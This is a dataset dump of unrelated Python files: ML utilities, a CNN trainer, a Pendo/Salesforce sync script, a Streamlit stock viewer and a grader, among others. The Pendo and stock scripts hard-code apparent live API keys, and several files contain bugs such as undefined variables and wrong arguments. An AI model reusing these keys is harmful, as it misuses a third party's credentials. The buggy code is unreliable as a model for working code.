elements\n for i in range(len(params)):\n for j in range(i, len(params)):\n hess[i][j] = hessian_elem(func, f0, params, i, j,\n eps[i], eps[j], args)\n hess[j][i] = hess[i][j]\n\n return hess\n","sub_path":"dadi_software/build/lib.linux-x86_64-3.3/dadi/Hessian.py","file_name":"Hessian.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"489910912","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 9 12:00:44 2021\n\n@author: lschiesser\n\"\"\"\n\nfrom code.preprocessing.preprocessor import Preprocessor\nfrom code.util import TWEET_TOKENIZED, COLUMN_STOPWORDS\n\n\nclass StopwordRemover(Preprocessor):\n \n def __init__(self, input_column = TWEET_TOKENIZED, output_column = COLUMN_STOPWORDS):\n \"\"\"\n Initiliaze class\n \"\"\"\n super().__init__([input_column], output_column)\n \n def _get_values(self, inputs):\n \"\"\"\n \n\n Parameters\n ----------\n inputs : list(list(strings()))\n Tokenized tweets.\n\n Returns\n -------\n tweets_no_stopwords : list(list(strings()))\n Tokenized tweets without stopwords.\n\n \"\"\"\n # for runtime reasons of the grid, we create a little cutsom stopwords list\n # based off of the nltk stopwords for English which can be found under\n # www.nltk.org/book/ch02.html\n custom_stopwords = ['the', 'a', 'an', 'and', 'in', 'of', 'to', 'is', 'are']\n tweets_no_stopwords = []\n for tweet in inputs[0]:\n tweet_no_stopwords = [word for word in tweet if not word in custom_stopwords]\n tweets_no_stopwords.append(tweet_no_stopwords)\n \n return tweets_no_stopwords\n ","sub_path":"code/preprocessing/stopword_remover.py","file_name":"stopword_remover.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"12908346","text":"import json\nimport requests\nfrom monetate.retailer.models import Retailer, Account, SalesforceAccount\n\n\n\n# ===========================================\n# Variables\n# ===========================================\nheaders = {\n 'x-pendo-integration-key': \"5508000e-d2f6-492f-622f-fbe620a9a4f4\",\n 'content-type': \"application/json\",\n}\ndebug = True\ndryRun = True\n\n\naccounts = Account.objects.filter(archived=False, instance=\"p\");\nfor account in accounts:\n if(debug):\n print(\"===============================\")\n print(\"ACCOUNT\")\n print(\"===============================\")\n print(\"{}, {}, {}::{}\".format(account.retailer.name, account.domain, account.retailer.id, account.id))\n\n # ===========================================\n # See if Salesforce Account ID exists at Pendo\n # ===========================================\n id = \"{}::{}\".format(account.retailer.id, account.id)\n url = \"https://app.pendo.io/api/v1/metadata/{}/{}/value/{}/{}\".format(\"account\", \"custom\", id, \"salesforceaccountid\");\n response = requests.get(url, headers = headers)\n if(response.status_code == 200):\n print(\"Success - Record Found\")\n print(response.text)\n else:\n print(response.text)\n\n # ===========================================\n # Salesforce\n # ===========================================\n if(debug):\n print(\"\\r\\nSALESFORCE\")\n print(\"-------------------------------\")\n #print(\"salesforce_id: {}\".format(account.salesforce_id))\n salesforce_id = account.salesforce_id\n salesforce_account_number = ''\n if(salesforce_id):\n salesforce = SalesforceAccount.objects.filter(salesforce_id=salesforce_id)\n for s in salesforce:\n salesforce_account_number = s.account_number\n\n if(debug):\n print(\"salesforce_id: {}\".format(salesforce_id))\n print(\"salesforce_account_number: {}\".format(salesforce_account_number))\n\n\n # ===========================================\n # Data object to be sent to Pendo API\n # ===========================================\n if(debug):\n print(\" \")\n print(\"-------------------------------\")\n print(\"PENDO DATA\")\n print(\"-------------------------------\")\n metadata = {\n \"accountId\":\"{}::{}\".format(account.retailer.id, account.id),\n \"values\": {\n \"campaignsPredictive\":\"{}\".format(predictive_count),\n \"campaignsSplit\":\"{}\".format(split_count),\n \"campaignsExperience\":\"{}\".format(experience_count),\n \"campaignsPredictiveExp\":\"{}\".format(predictive_exp_count),\n \"recommendationSetClientOnboarded\":\"{}\".format(client_onboarded),\n \"recommendationSetMostViewed\":\"{}\".format(most_viewed),\n \"recommendationSetNewest\":\"{}\".format(newest),\n \"recommendationSetPurchaseAlsoPurchase\":\"{}\".format(purchase_also_purchase),\n \"recommendationSetRecentlyViewed\":\"{}\".format(recently_viewed),\n \"recommendationSetTopSellingCount\":\"{}\".format(top_selling_count),\n \"recommendationSetTopSellingRevenue\":\"{}\".format(top_selling_revenue),\n \"recommendationSetViewAlsoView\":\"{}\".format(view_also_view),\n \"recommendationSetViewLaterPurchase\":\"{}\".format(view_later_purchase)\n }\n }\n data = json.dumps(metadata)\n data = '[' + data + ']'\n if(debug):\n print(data)\n\n # Send data to Pendo\n url = \"https://app.pendo.io/api/v1/metadata/account/custom/value\"\n if not dryRun:\n response = requests.post(url, data = data, headers = headers)\n print(response)\n print(\"------------------------------- End of Account -------------------------------\\r\\n\\r\\n\")\n","sub_path":"_pendo/_api/salesforce.py","file_name":"salesforce.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"134658352","text":"\ndef update_child(tree, symbol, parent_node):\n child_node = get_child(tree, parent_node, symbol)\n\n if not child_node:\n raise Exception(\"Node must exists before it can be updated\")\n\n child_node.data['in_count'] += 1\n parent_node.data['out_count'] += 1\n return child_node\n\ndef get_child_in_count(tree, node, symbol):\n child = get_child(tree, node, symbol)\n if child:\n return child.data['in_count']\n else:\n return 0\n\n\ndef child_exists(tree, node, symbol):\n if get_child(tree, node, symbol):\n return True\n return False\n\ndef get_child(tree, node, symbol):\n for child in tree.children(node.identifier):\n if child.data['symbol'] == symbol:\n return child\n return None\n\n\ndef create_node(tree, symbol, parent_node=None):\n parent_id = None\n if parent_node:\n parent_id = parent_node.identifier\n depth = parent_node.data['depth'] + 1\n\n if child_exists(tree, parent_node, symbol):\n raise Exception(\"Node can't exist when creating it\")\n\n else: # Root node has no depth\n depth = 0\n\n return tree.create_node(symbol,\n parent=parent_id,\n data={'symbol': symbol,\n 'depth': depth,\n 'in_count': 0,\n 'out_count': 0})\n","sub_path":"alz/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"625156207","text":"import pandas as pd\nimport numpy as np\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\n\nfrom env import host, user, password\n\n\n# Function for acquiring and prepping my student_grades df.\n\n\ndef wrangle_grades():\n \"\"\"\n Read student_grades csv file into a pandas DataFrame,\n drop student_id column, replace whitespaces with NaN values,\n drop any rows with Null values, convert all columns to int64,\n return cleaned student grades DataFrame.\n \"\"\"\n # Acquire data from csv file.\n grades = pd.read_csv(\"student_grades.csv\")\n\n # Replace white space values with NaN values.\n grades = grades.replace(r\"^\\s*$\", np.nan, regex=True)\n\n # Drop all rows with NaN values.\n df = grades.dropna()\n\n # Convert all columns to int64 data types.\n df = df.astype(\"int\")\n\n return df\n\n\n# Generic helper function to provide connection url for Codeup database server.\n\n\ndef get_db_url(db_name):\n \"\"\"\n This function uses my env file to get the url to access the Codeup database.\n It takes in a string identifying the database I want to connect to.\n \"\"\"\n return f\"mysql+pymysql://{user}:{password}@{host}/{db_name}\"\n\n\n# Generic function that takes in a database name and a query.\n\n\ndef get_data_from_sql(str_db_name, query):\n \"\"\"\n This function takes in a string for the name of the database I want to connect to\n and a query to obtain my data from the Codeup server and return a DataFrame.\n \"\"\"\n df = pd.read_sql(query, get_db_url(str_db_name))\n return df\n\n\n# Mother function to acquire and prepare Telco data.\n\n\ndef wrangle_telco():\n \"\"\"\n Queries the telco_churn database\n Returns a clean df with four columns:\n customer_id(object), monthly_charges(float), tenure(int), total_charges(float)\n \"\"\"\n query = \"\"\"\n SELECT\n customer_id,\n monthly_charges,\n tenure,\n total_charges\n FROM customers\n JOIN contract_types USING(contract_type_id)\n WHERE contract_type = 'Two year';\n \"\"\"\n df = get_data_from_sql(\"telco_churn\", query)\n\n # Replace any tenures of 0 with 1\n df.tenure = df.tenure.replace(0, 1)\n\n # Replace the blank total_charges with the monthly_charge for tenure == 1\n df.total_charges = np.where(\n df.total_charges == \" \", df.monthly_charges, df.total_charges\n )\n\n # Convert total_charges to a float.\n df.total_charges = df.total_charges.astype(float)\n\n return df\n\n\n# Generic splitting function for continuous target.\n\n\ndef split_continuous(df):\n \"\"\"\n Takes in a df\n Returns train, validate, and test DataFrames\n \"\"\"\n # Create train_validate and test datasets\n train_validate, test = train_test_split(df, test_size=0.2, random_state=123)\n # Create train and validate datsets\n train, validate = train_test_split(train_validate, test_size=0.3, random_state=123)\n\n # Take a look at your split datasets\n\n print(f\"train -> {train.shape}\")\n print(f\"validate -> {validate.shape}\")\n print(f\"test -> {test.shape}\")\n return train, validate, test\n\n\ndef train_validate_test(df, target):\n \"\"\"\n this function takes in a dataframe and splits it into 3 samples,\n a test, which is 20% of the entire dataframe,\n a validate, which is 24% of the entire dataframe,\n and a train, which is 56% of the entire dataframe.\n It then splits each of the 3 samples into a dataframe with independent variables\n and a series with the dependent, or target variable.\n The function returns 3 dataframes and 3 series:\n X_train (df) & y_train (series), X_validate & y_validate, X_test & y_test.\n \"\"\"\n # split df into test (20%) and train_validate (80%)\n train_validate, test = train_test_split(df, test_size=0.2, random_state=123)\n\n # split train_validate off into train (70% of 80% = 56%) and validate (30% of 80% = 24%)\n train, validate = train_test_split(train_validate, test_size=0.3, random_state=123)\n\n # split train into X (dataframe, drop target) & y (series, keep target only)\n X_train = train.drop(columns=[target])\n y_train = train[target]\n\n # split validate into X (dataframe, drop target) & y (series, keep target only)\n X_validate = validate.drop(columns=[target])\n y_validate = validate[target]\n\n # split test into X (dataframe, drop target) & y (series, keep target only)\n X_test = test.drop(columns=[target])\n y_test = test[target]\n\n return X_train, y_train, X_validate, y_validate, X_test, y_test\n\n\ndef get_numeric_X_cols(X_train, object_cols):\n \"\"\"\n takes in a dataframe and list of object column names\n and returns a list of all other columns names, the non-objects.\n \"\"\"\n numeric_cols = [col for col in X_train.columns.values if col not in object_cols]\n\n return numeric_cols\n\n\ndef min_max_scale(X_train, X_validate, X_test, numeric_cols):\n \"\"\"\n this function takes in 3 dataframes with the same columns,\n a list of numeric column names (because the scaler can only work with numeric columns),\n and fits a min-max scaler to the first dataframe and transforms all\n 3 dataframes using that scaler.\n it returns 3 dataframes with the same column names and scaled values.\n \"\"\"\n # create the scaler object and fit it to X_train (i.e. identify min and max)\n # if copy = false, inplace row normalization happens and avoids a copy (if the input is already a numpy array).\n\n scaler = MinMaxScaler(copy=True).fit(X_train[numeric_cols])\n\n # scale X_train, X_validate, X_test using the mins and maxes stored in the scaler derived from X_train.\n #\n X_train_scaled_array = scaler.transform(X_train[numeric_cols])\n X_validate_scaled_array = scaler.transform(X_validate[numeric_cols])\n X_test_scaled_array = scaler.transform(X_test[numeric_cols])\n\n # convert arrays to dataframes\n X_train_scaled = pd.DataFrame(X_train_scaled_array, columns=numeric_cols).set_index(\n [X_train.index.values]\n )\n\n X_validate_scaled = pd.DataFrame(\n X_validate_scaled_array, columns=numeric_cols\n ).set_index([X_validate.index.values])\n\n X_test_scaled = pd.DataFrame(X_test_scaled_array, columns=numeric_cols).set_index(\n [X_test.index.values]\n )\n\n return X_train_scaled, X_validate_scaled, X_test_scaled\n\n\ndef get_object_cols(df):\n \"\"\"\n This function takes in a dataframe and identifies the columns that are object types\n and returns a list of those column names.\n \"\"\"\n # create a mask of columns whether they are object type or not\n mask = np.array(df.dtypes == \"object\")\n\n # get a list of the column names that are objects (from the mask)\n object_cols = df.iloc[:, mask].columns.tolist()\n\n return object_cols\n\n\ndef create_dummies(df, object_cols):\n \"\"\"\n This function takes in a dataframe and list of object column names,\n and creates dummy variables of each of those columns.\n It then appends the dummy variables to the original dataframe.\n It returns the original df with the appended dummy variables.\n \"\"\"\n\n # run pd.get_dummies() to create dummy vars for the object columns.\n # we will drop the column representing the first unique value of each variable\n # we will opt to not create na columns for each variable with missing values\n # (all missing values have been removed.)\n dummy_df = pd.get_dummies(object_cols, dummy_na=False, drop_first=True)\n\n # concatenate the dataframe with dummies to our original dataframe\n # via column (axis=1)\n df = pd.concat([df, dummy_df], axis=1)\n\n return df\n\n\n### student_mat.csv for feature engineering lesson\ndef wrangle_student_math(path):\n df = pd.read_csv(path, sep=\";\")\n\n # drop any nulls\n df = df[~df.isnull()]\n\n # get object column names\n object_cols = get_object_cols(df)\n\n # create dummy vars\n df = create_dummies(df, object_cols)\n\n # split data\n X_train, y_train, X_validate, y_validate, X_test, y_test = train_validate_test(\n df, \"G3\"\n )\n\n # get numeric column names\n numeric_cols = get_numeric_X_cols(X_train, object_cols)\n\n # scale data\n X_train_scaled, X_validate_scaled, X_test_scaled = min_max_scale(\n X_train, X_validate, X_test, numeric_cols\n )\n\n return (\n df,\n X_train,\n X_train_scaled,\n y_train,\n X_validate_scaled,\n y_validate,\n X_test_scaled,\n y_test,\n )\n","sub_path":"wrangle.py","file_name":"wrangle.py","file_ext":"py","file_size_in_byte":8449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"187039002","text":"import torch\nfrom matplotlib import pyplot as plt\n\n\ndef visualize_reconstruction_batch(model, x_b, vis_transforms=None, n_rows=2, show=False, device='cpu', plot_mask=False,\n blocks=None, return_img=False):\n fig, axes = plt.subplots(nrows=n_rows, ncols=3 if plot_mask else 2, figsize=(9, 4 * n_rows))\n imgs = []\n # If there is only one row\n if len(axes.shape) == 1:\n axes = [axes]\n model.eval()\n with torch.no_grad():\n for i, ax in enumerate(axes):\n x = x_b[i]\n x_hat, _, x_patches, mask_indices = model(x.unsqueeze(0).to(device), blocks)\n x_hat = x_hat.detach().squeeze()\n if plot_mask:\n # Fill masked patches with gray\n x_patches.scatter_(dim=1,\n index=mask_indices[:, :, :x_patches.shape[-1]],\n src=0.5 * torch.ones(size=x_patches.shape, device=x_patches.device))\n # Fold into original image dimensions\n x_masked = model.fold(x_patches.swapaxes(1, 2), x.shape[1:]).squeeze()\n if vis_transforms is not None:\n x = torch.clip(vis_transforms(x), 0, 1)\n x_hat = torch.clip(vis_transforms(x_hat), 0, 1)\n if plot_mask:\n x_masked = torch.clip(vis_transforms(x_masked), 0, 1)\n\n titles = ['Reconstruction', 'Ground Truth']\n images = [x_hat, x]\n if plot_mask:\n titles.insert(0, 'Masked Input')\n images.insert(0, x_masked)\n for column, title, img in zip(ax, titles, images):\n img = img.cpu().permute(1, 2, 0)\n column.imshow(img)\n column.axis('off')\n column.set_title(title)\n imgs.append(img)\n\n fig.tight_layout()\n if show:\n plt.show()\n if return_img:\n return imgs\n return fig\n\n\ndef visualize_reconstruction(model, dl_train, vis_transforms=None, n_rows=2, show=False, device='cpu', plot_mask=False,\n blocks=None):\n x_b, _ = next(iter(dl_train))\n return visualize_reconstruction_batch(model=model, x_b=x_b, vis_transforms=vis_transforms, n_rows=n_rows, show=show,\n device=device, plot_mask=plot_mask, blocks=blocks)\n\n\ndef plot_single_image(dl_train, vis_transforms=None, show=False):\n fig, ax = plt.subplots(figsize=(6, 6))\n\n x_b, _ = next(iter(dl_train))\n x = x_b[0]\n\n if vis_transforms is not None:\n x = torch.clip(vis_transforms(x), 0, 1)\n\n ax.imshow(x.cpu().permute(1, 2, 0))\n ax.axis('off')\n ax.set_title(\"Training Image\")\n\n fig.tight_layout()\n if show:\n plt.show()\n return fig\n\n\ndef show_example(ds, index):\n print(f\"Label: {ds[index]['label']}\")\n plt.figure()\n plt.imshow(ds[index]['image'])\n plt.show()\n","sub_path":"src/utilities/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"627754854","text":"from mayavi import mlab\nfrom util import load_PC\nimport numpy as np\nimport h5py\nimport multiprocessing\nimport trimesh\nimport time\nfrom util import load_PC, parse, angle2rotmatrix, parse_non_rigid\nfrom plot import plot_mesh_points_label\n\ndef apply_transform_non_rigid(S, T, R, C, tet_v, templates):\n #apply deformation\n tet_v = tet_v + np.reshape(np.matmul(templates, C), [-1, 3])\n #apply rotation\n #r = Rotation.from_rotvec(R).as_matrix()\n r1, r2, r3, rr = angle2rotmatrix(R)\n tran_v = np.matmul(rr, tet_v.T).T\n # apply scale\n tran_v = S * tran_v\n #apply translation\n tran_v = tran_v + np.expand_dims(T, axis=0)\n return tran_v, rr\n\ndef apply_transform(S, T, R, tet_v):\n #apply rotation\n #r = Rotation.from_rotvec(R).as_matrix()\n r1, r2, r3, rr = angle2rotmatrix(R)\n tran_v = np.matmul(rr, tet_v.T).T\n # apply scale\n tran_v = S * tran_v\n #apply translation\n tran_v = tran_v + np.expand_dims(T, axis=0)\n return tran_v, rr\n\ndef main():\n while 1:\n with open('../animation/index', 'r') as tf:\n index = tf.readlines()[0]\n index_last = index\n points, PC_label = load_PC('../../org/datasets/Set' + index)\n points = points - np.mean(points, axis=0, keepdims=True)\n points = points / 1000\n\n mesh_liver = trimesh.load('../../org/Liver.off')\n tet_v = np.asarray(mesh_liver.vertices)\n tet_v = tet_v - np.mean(tet_v, axis=0, keepdims=True)\n #meshes\n mesh_FF = trimesh.load('../../org/Liver_FF.off')\n mesh_LR = trimesh.load('../../org/Liver_LR.off')\n mesh_RR = trimesh.load('../../org/Liver_RR.off')\n mesh_Front = trimesh.load('../../org/Liver_Front.off')\n\n meshes = [mesh_FF, mesh_LR, mesh_RR, mesh_Front]\n mlab.figure()\n\n parameter = load_para()\n S, T, R = parse(parameter)\n tran_v, rotation_matrix = apply_transform(S, T, R, tet_v)\n #f = mlab.points3d(tet_v[:,0], tet_v[:, 2], tet_v[:, 1])\n #mlab.show()\n scene_objs = plot_mesh_points_label(tran_v, meshes, points, PC_label)\n\n result = anim(tet_v, scene_objs, index)\n mlab.show()\n\ndef updates(f, points):\n f.mlab_source.x = points[:, 0]\n f.mlab_source.y = points[:, 2]\n f.mlab_source.z = points[:, 1]\n #f.scene.camera.azimuth(10)\n #f.scene.render()\n\ndef load_para():\n with h5py.File('data.h5', 'r') as hf:\n coefficient = hf['para'][:]\n return coefficient\n\n@mlab.animate(delay=200, ui=False)\ndef anim(tet_v, objs, index_last):\n '''while points.empty is False:\n p = points.get()\n f = mlab.points3d(p[:,0], p[:,2], p[:,1])\n #mlab.show()'''\n #f = mlab.points3d(tet_v[:,0], tet_v[:, 2], tet_v[:, 1])\n #mlab.show()\n while 1:\n print('**********')\n try:\n parameter = load_para()\n except:\n continue\n #points = points+np.random.normal(0.0, 10, size=points.shape)\n time.sleep(0.1)\n S, T, R = parse(parameter)\n tran_v, rotation_matrix = apply_transform(S, T, R, tet_v)\n tran_v = tran_v\n #f.mlab_source.x = [vert[0] for vert in tran_v]\n #f.mlab_source.y = [vert[2] for vert in tran_v]\n #f.mlab_source.z = [vert[1] for vert in tran_v]\n objs[4].mlab_source.x = [vert[0] for vert in tran_v]\n objs[4].mlab_source.y = [vert[2] for vert in tran_v]\n objs[4].mlab_source.z = [vert[1] for vert in tran_v]\n objs[5].mlab_source.x = [vert[0] for vert in tran_v]\n objs[5].mlab_source.y = [vert[2] for vert in tran_v]\n objs[5].mlab_source.z = [vert[1] for vert in tran_v]\n objs[6].mlab_source.x = [vert[0] for vert in tran_v]\n objs[6].mlab_source.y = [vert[2] for vert in tran_v]\n objs[6].mlab_source.z = [vert[1] for vert in tran_v]\n objs[7].mlab_source.x = [vert[0] for vert in tran_v]\n objs[7].mlab_source.y = [vert[2] for vert in tran_v]\n objs[7].mlab_source.z = [vert[1] for vert in tran_v]\n\n with open('../animation/index', 'r') as tf:\n index = tf.readlines()[0]\n if index != index_last:\n break\n '''points_FF = points[np.where(PC_label == 0), :][0]\n points_LR = points[np.where(PC_label == 1), :][0]\n points_RR = points[np.where(PC_label == 2), :][0]\n points_SR = points[np.where(PC_label == 3), :][0]\n objs[0].mlab_source.x = points_FF[:,0]\n objs[0].mlab_source.y = points_FF[:,2]\n objs[0].mlab_source.z = points_FF[:,1]\n objs[1].mlab_source.x = points_LR[:,0]\n objs[1].mlab_source.y = points_LR[:,2]\n objs[1].mlab_source.z = points_LR[:,1]\n objs[2].mlab_source.x = points_RR[:,0]\n objs[2].mlab_source.y = points_RR[:,2]\n objs[2].mlab_source.z = points_RR[:,1]\n objs[3].mlab_source.x = points_SR[:,0]\n objs[3].mlab_source.y = points_SR[:,2]\n objs[3].mlab_source.z = points_SR[:,1]'''\n\n #updates(f, tet_v)\n yield\n mlab.close()\n\nmain()","sub_path":"animation/animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":5055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"655495","text":"import os\nimport sys\nimport argparse\nimport json\nimport traceback\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-n\", \"--numbers\", help=\"The number of numbers we expect\", type=int)\n parser.add_argument(\"-a\", \"--actual_files\", nargs='+', help=\"The files to process\")\n return parser.parse_args()\n\ndef load_file(file, number_of_numbers):\n data = list()\n try:\n with open(file) as f:\n numbers = f.readlines()\n numbers = [x.strip() for x in numbers]\n numbers[-1] = numbers[-1].split()\n\n if not 'total' in numbers[-1]:\n return_result(score=0, message=\"ERROR: total is not included\", status='failure')\n\n numbers[-1] = numbers[-1][-1]\n numbers = [int(x) for x in numbers]\n\n if sum(numbers[:-1]) != numbers[-1]:\n return_result(score=0, message=\"ERROR: The numbers do not sum correctly\", status='failure')\n elif len(numbers[:-1]) != number_of_numbers:\n return_result(score=0, message=\"ERROR: Incorrect number of numbers ({0} instead of {1})\".format(len(numbers[:-1]), number_of_numbers), status='failure')\n except Exception as e:\n return_result(score=0, message=\"ERROR: Could not open output file.\",status='failure')\n return numbers\n\ndef return_result(score,message,status):\n print(json.dumps({'status':\"success\",'data':{'score':score, 'message':message,'status':status}}, indent=4))\n sys.exit(0)\n\ndef return_error(error_message):\n json_str = json.dumps({'status':\"fail\",'message':error_message})\n print(json_str)\n sys.exit(0)\n\ndef main():\n try:\n args = parse_args()\n except Exception as e:\n return_error(message='ERROR: Incorrect arguments to custom validator')\n actual_files = args.actual_files\n number_of_numbers = args.numbers\n \n prev_data = None\n\n for file in actual_files:\n data = load_file(file, number_of_numbers)\n if prev_data == None:\n prev_data = data\n else:\n if data == prev_data:\n return_result(score=0.6, message=\"ERROR: Program is not random.\", status='failure')\n\n return_result(score=1.0, message=\"Success: numbers summed correctly.\", status='success')\n\nif __name__ == '__main__':\n main()\n","sub_path":"more_autograding_examples/python_custom_validation/config/custom_validation_code/grader.py","file_name":"grader.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"340215868","text":"# palindrome-linked-list\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\n# linked list -> list\nclass Solution:\n def isPalindrome(self, head) -> bool:\n if not head:\n return True\n\n # palindrome: List = []\n palindrome = []\n node = head\n while node:\n palindrome.append(node.val)\n node = node.next\n\n while len(palindrome) > 1:\n if palindrome.pop(0) != palindrome.pop():\n return False\n\n return True\n","sub_path":"python-algorithm-interview/3_linear_data_structures/08_linked_list/13-0.py","file_name":"13-0.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"222989066","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.utils.data as Data\nfrom PIL import Image\nfrom mnist_reader import load_mnist\nimport numpy as np\nimport time\n\nBATCH_SIZE = 100\nLEARNING_RATE = 0.01\nCHANNEL = 1\nEPOCH = 50\n\nX_train,Y_train = load_mnist('/home/fq/fashion-mnist/data/fashion', kind='train')\nX_test, Y_test = load_mnist('/home/fq/fashion-mnist/data/fashion', kind='t10k')\n\ntrainData = Data.TensorDataset(data_tensor=torch.from_numpy(X_train).type(\"torch.FloatTensor\"),target_tensor=torch.from_numpy(Y_train))\ntestData = Data.TensorDataset(data_tensor=torch.from_numpy(X_test).type(\"torch.FloatTensor\"),target_tensor=torch.from_numpy(Y_test)) \n\ntrainLoader = Data.DataLoader(dataset=trainData, batch_size=BATCH_SIZE, shuffle=True)\ntestLoader = Data.DataLoader(dataset=testData, batch_size=BATCH_SIZE, shuffle=False)\n\n# img1 = X_train[0,:-1].reshape(-1,28)\n# img = Image.fromarray(img1)\n# img.show()\n\n# for i,(images, labels) in enumerate(trainLoader):\n# if labels[0] == 3:\n# image2 = images.view(64,1,28,28)\n# print(images.view(64,1,28,28).shape,image2[0])\n# break\n\n# model\nclass CNNnet(torch.nn.Module):\n def __init__(self):\n super(CNNnet,self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(1,16,kernel_size=3,stride=1,padding=1),\n nn.BatchNorm2d(16),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2,stride=2)\n )\n\n self.layer2 = nn.Sequential(\n nn.Conv2d(16,32,3,1,1),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n nn.MaxPool2d(2)\n )\n\n self.layer3 = nn.Sequential(\n nn.Conv2d(32,48,3,1,1),\n nn.BatchNorm2d(48),\n nn.ReLU(),\n nn.MaxPool2d(2)\n )\n\n self.Full_layer = nn.Sequential(\n nn.Linear(48*3*3,128),\n nn.ReLU(),\n nn.Linear(128,10)\n )\n\n def forward(self,x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = self.layer3(out)\n flatten = out.view(out.size(0),-1)\n out = self.Full_layer(flatten)\n return out\n\n\nmodel = CNNnet()\nprint(model)\n\noptimizer = torch.optim.Adam(model.parameters())\nloss_func = nn.CrossEntropyLoss()\n\n# training\nstart = time.time()\nfor epoch in range(EPOCH):\n print('epoch{}'.format(epoch+1))\n for batch_image, batch_label in trainLoader:\n batch_image, batch_label = Variable(batch_image.view(-1,CHANNEL,28,28)/255), Variable(batch_label)\n out = model(batch_image)\n loss = loss_func(out,batch_label)\n pred = torch.max(out,1)[1]\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\nend = time.time()\nprint('cost time is :',end-start)\n\n# test\npre_num = 0\nfor batch_image, batch_label in testLoader:\n batch_image, batch_label = Variable(batch_image.view(-1,CHANNEL,28,28)/255), Variable(batch_label)\n outputs = model(batch_image)\n loss = loss_func(out,batch_label)\n predicted = torch.max(outputs,1)[1] # [0]是预测概率值,[1]为对应的整数标签\n pre_num += (predicted == batch_label).sum()\n# print('Accuracy is:{:.3f}'.format(100 * pre_num / len(trainData)))\n\n# save the model\ntorch.save(model.state_dict(), 'CNN_fashion_mnist.pkl')\n\n\n","sub_path":"Code_AI2/CNN_fashion_mnist.py","file_name":"CNN_fashion_mnist.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"104285347","text":"import requests\nimport streamlit as st\nimport pandas as pd\n\napikey = \"D4FTLHPX7MUGHTXA\"\nst.sidebar.header(\"**stock Symbol**\")\nsymbol = st.sidebar.selectbox(\n 'which stocks you have',\n ('DOX','c', 'TCS', 'AMZN', 'MSFT', 'TM', 'VOD', 'INTC', 'PEP', 'DELL', 'MS', 'ORCL', 'GS', 'AAPL', 'EBAY', 'MOT', 'CAJ', 'HMC', 'YHOO',\n 'WIT', 'INFY', 'ACN', 'SNDK', 'PBG'))\n\n#url = f'https://www.alphavantage.co/query?function=TIME_SERIES_INTRADAY&symbol={symbol}&interval=15min&apikey={apikey}'\nurl = f'https://www.alphavantage.co/query?function=TIME_SERIES_INTRADAY&symbol={symbol}&interval=15min&apikey={apikey}'\nr = requests.get(url)\ndata = r.json()\nst.title(f'{symbol} portfolio')\ndata = pd.DataFrame(data['Time Series (15min)'])\ndata = data.T\nst.write(data.head(10))\n\nst.line_chart(data['1. open'].head(10))\nst.line_chart(data['4. close'].head(10))\n","sub_path":"Stockweapp.py","file_name":"Stockweapp.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"496284982","text":"from tensorflow.python.ops.rnn_cell_impl import RNNCell\nfrom EUNN import *\n\n\n\ndef modReLU(z, b, comp):\n\tif comp:\n\t\treturn z\n\t\tz_norm = math_ops.sqrt(math_ops.square(math_ops.real(z)) + math_ops.square(math_ops.imag(z))) + 0.00001\n\t\tstep1 = nn_ops.bias_add(z_norm, b)\n\t\tstep2 = math_ops.complex(nn_ops.relu(step1), array_ops.zeros_like(z_norm))\n\t\tstep3 = z/math_ops.complex(z_norm, array_ops.zeros_like(z_norm))\n\telse:\n\t\tz_norm = math_ops.abs(z) + 0.00001\n\t\tstep1 = nn_ops.bias_add(z_norm, b)\n\t\tstep2 = nn_ops.relu(step1)\n\t\tstep3 = math_ops.sign(z)\n\t\t\n\treturn math_ops.multiply(step3, step2)\n\n\n\n\nclass EURNNCell(RNNCell):\n\t\"\"\"Efficient Unitary Recurrent Network Cell\n\tThe implementation is based on: http://arxiv.org/abs/1612.05231.\n\n\t\"\"\"\n\n\tdef __init__(self, hidden_size, capacity=2, FFT=False, comp=False, activation=modReLU):\n\t\t\n\t\tself._hidden_size = hidden_size\n\t\tself._activation = activation\n\t\tself._capacity = capacity\n\t\tself._FFT = FFT\n\t\tself._comp = comp\n\n\n\t\tself.v1, self.v2, self.ind, self.diag, self._capacity = EUNN_param(hidden_size, capacity, FFT, comp)\n\n\n\n\t@property\n\tdef state_size(self):\n\t\treturn self._hidden_size\n\n\t@property\n\tdef output_size(self):\n\t\treturn self._hidden_size\n\n\t@property\n\tdef capacity(self):\n\t\treturn 